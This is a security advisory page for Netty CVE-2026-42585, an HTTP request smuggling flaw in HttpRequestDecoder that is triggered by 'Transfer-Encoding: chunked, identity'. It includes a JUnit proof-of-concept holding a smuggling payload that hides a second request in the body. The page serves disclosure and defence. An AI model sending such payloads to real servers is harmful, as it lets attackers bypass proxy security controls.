Skip to main content

Netty CVE-2026-42585

MEDIUM
HTTP Request/Response Smuggling (CWE-444)
2026-05-07 https://github.com/netty/netty GHSA-38f8-5428-x5cv
6.5
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 07, 2026 - 00:46 vuln.today
Analysis Generated
May 07, 2026 - 00:46 vuln.today
CVE Published
May 07, 2026 - 00:22 nvd
MEDIUM 6.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 maven packages depend on io.netty:netty-codec-http (11 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionNVD

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

java
@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

AnalysisAI

HTTP request smuggling in Netty's HttpRequestDecoder allows remote unauthenticated attackers to inject arbitrary HTTP requests by sending malformed Transfer-Encoding headers (specifically 'Transfer-Encoding: chunked, identity'). When Netty is deployed behind a proxy that forwards such requests without rejection, an attacker can smuggle a second request inside the body of the first, bypassing security controls and accessing unintended resources. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Vendor StatusVendor

Share

CVE-2026-42585 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy